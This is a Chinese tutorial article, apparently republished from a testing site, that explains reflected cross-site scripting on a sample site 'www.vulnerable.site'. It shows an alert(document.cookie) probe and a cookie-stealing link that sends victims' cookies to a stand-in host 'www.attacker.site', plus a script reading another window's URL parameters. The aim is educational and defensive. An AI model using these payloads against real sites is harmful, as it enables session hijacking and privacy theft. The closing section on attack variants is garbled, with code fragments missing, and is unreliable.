使用IBM Rational AppScan捕获跨站点脚本攻击

发表于:2010-08-05来源:作者:点击数: 标签:ibmIBM脚本rationalRATIONAL
了解黑客如何启动跨站点脚本攻击(cross-site scripting,XSS),该攻击危害(及不危害)什么,如何检测它们,以及如何防止您的 Web 站点和站点的访问者受到这些针对隐私和 安全 的恶意入侵。 在跨站脚本攻击中会发生什么 跨站脚本攻击(cross-site scripting,简

  了解黑客如何启动跨站点脚本攻击(cross-site scripting,XSS),该攻击危害(及不危害)什么,如何检测它们,以及如何防止您的 Web 站点和站点的访问者受到这些针对隐私和安全的恶意入侵。

  在跨站脚本攻击中会发生什么

  跨站脚本攻击(cross-site scripting,简称 XSS),是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一。XSS 是针对特殊 Web 站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体:黑客和 Web 站点,或者黑客和客户端受害者。与那些攻击不同的是,XSS 攻击同时涉及三个群体:黑客、客户端和 Web 站点。

  XSS 攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。举例来说,在对一个大型公司的调查中表明,利用 XSS 攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用 Web 站点的访问特权,在受害者(客户端)浏览器上运行恶意的 JavaScript 代码来实现的。这些是非常有限的 JavaScript 特权,除了与站点相关的信息,一般不允许脚本访问其他任何内容。重点强调的是,虽然 Web 站点上存在安全漏洞,但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies,并且将它们发送给黑客。因此,黑客获得 cookies 并冒充受害者。

  XSS 技术的深入解析

  让我们调用受攻击的站点:www.vulnerable.site。传统的 XSS 攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分 HTTP 请求(通常是参数,但有时也有 HTTP 头域或路径),并且在首次不加密的情况下全部或部分地将其回送给响应页面(因而,不确保它不包含 JavaScript 代码或 HTML 标签)。因此,假设该脚本名为 welcome.cgi,其参数为 name。可以通过以下方式进行操作:

MILY: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; MARGIN-BOTTOM: 0px; FONT-SIZE: 11px" class="displaycode">  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 
  Host: www.vulnerable.site 
    

  响应是:

  <HTML> 
  <Title>Welcome!</Title> 
  Hi Joe Hacker <BR> 
  Welcome to our system 
  ... 
  </HTML>

  这是怎样被盗用的呢?黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接,诱使受害者的 Web 浏览器访问站点(www.vulnerable.site),并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为 www.vulnerable.site 站点所存储 cookies 的 JavaScript。这是允许的,因为客户端浏览器“运行过”来自 www.vulnerable.site 的 JavaScript,并且 JavaScript 安全模型允许来自特殊站点的脚本访问属于该站点的 cookies。

  这样的链接如下:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script> 
      

  受害者点击链接之后将生成对 www.vulnerable.site 的请求,如下所示:

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 
  Host: www.vulnerable.site ... 

  脆弱的站点的响应是:

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> 
  <BR> Welcome to our system ... 
  </HTML> 
  

  受害者客户端的浏览器将把该响应解释为包含一段 JavaScript 代码的 HTML 页面。当执行时,该代码被允许访问所有属于 www.vulnerable.site 的 cookies。因此,它将在客户端浏览器中弹出一个窗口,显示属于 www.vulnerable.site 的所有客户端 cookies。

  当然,真正的恶意攻击包含了将这些 cookies 发送给黑客的操作。对此,黑客可能建立 Web 站点(www.attacker.site)并使用脚本来接收 cookies。替代弹出窗口,黑客会书写访问 www.attacker.site 的 URL 的代码,从而调用接收 cookie 的脚本,其参数设置为被窃取的 cookies。这样,黑客可以从 www.attacker.site 服务器上获得 cookies。

  恶意的链接会是:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect 
  .cgi?cookie="%2Bdocument.cookie)</script> 
      

  响应页面看起来像这样:

  <HTML> <Title>Welcome!</Title> Hi 
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script> 
  <BR> 
  Welcome to our system ... </HTML> 
    

  加载该页面的浏览器会立即执行内嵌的 JavaScript,并向 www.attacker.site 中的 collect.cgi 脚本发送请求,并附带着浏览器已经拥有的 www.vulnerable.site 的 cookies 的值。这样就泄漏了客户端所拥有的 www.vulnerable.site 的 cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。

  注意:

  引发 JavaScript 弹出窗口的出现通常足够说明该站点容易受到 XSS 攻击。如果可以调用 JavaScript Alert 方法,那么通常没理由 window.open 调用不成功。这就是为什么大部分 XSS 攻击的实例使用 Alert 方法,因为这很容易检测其成功。

  范围和可行性

  攻击只会在受害者用于访问站点(www.vulnerable.site)的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行:

  黑客发送包含强迫浏览器访问该链接的 HTML 页面的电子邮件消息。这要求受害者使用 HTML 有效的电子邮件客户端,并且客户端的 HTML 阅读器是用于访问 www.vulnerable.site 的同一个浏览器。

  客户端访问可能受黑客运作的站点,其中的图片链接或其他激活的 HTML 强迫浏览器访问该链接。再次声明,必须要求浏览器与访问该站点和 www.vulnerable.site 的是同一个浏览器。

  恶意的 JavaScript 可以访问任何下列信息:

  浏览器维护的(www.vulnerable.site 的)永久 cookies

  浏览器实例维护的(www.vulnerable.site 的)RAM cookies,但只有当最近浏览 www.vulnerable.site 时发生。

  为 www.vulnerable.site 打开的其他窗口的名称

  可以通过当前的 DOM 访问的任何信息(如值、HTML 代码,等等)

  身份识别、验证和授权标志通常以 cookies 形式维护。如果这些 cookies 是永久的,那么即使不在访问 www.vulnerable.site 的时候使用浏览器,受害者也是易受攻击的。然而,如果 cookies 是临时的,例如 RAM cookies,那么客户端必须处于访问 www.vulnerable.site 的会话中。

  身份识别标志的另一种可能的实现是通过 URL 参数。在这种情况下,可以用这种方式使用 JavaScript 访问其他窗口(假设带有必要的 URL 参数的页面的名称为 foobar):

<script>var victim_window=open(",'foobar');alert('Can aclearcase/" target="_blank" >ccess: 
' +victim_window.location.search)</script> 
           

  跨站点脚本攻击的多种情形

  除了 ,黑客可以使用 。这对于过滤 ,还可以使用 

原文转自:http://www.ltesting.net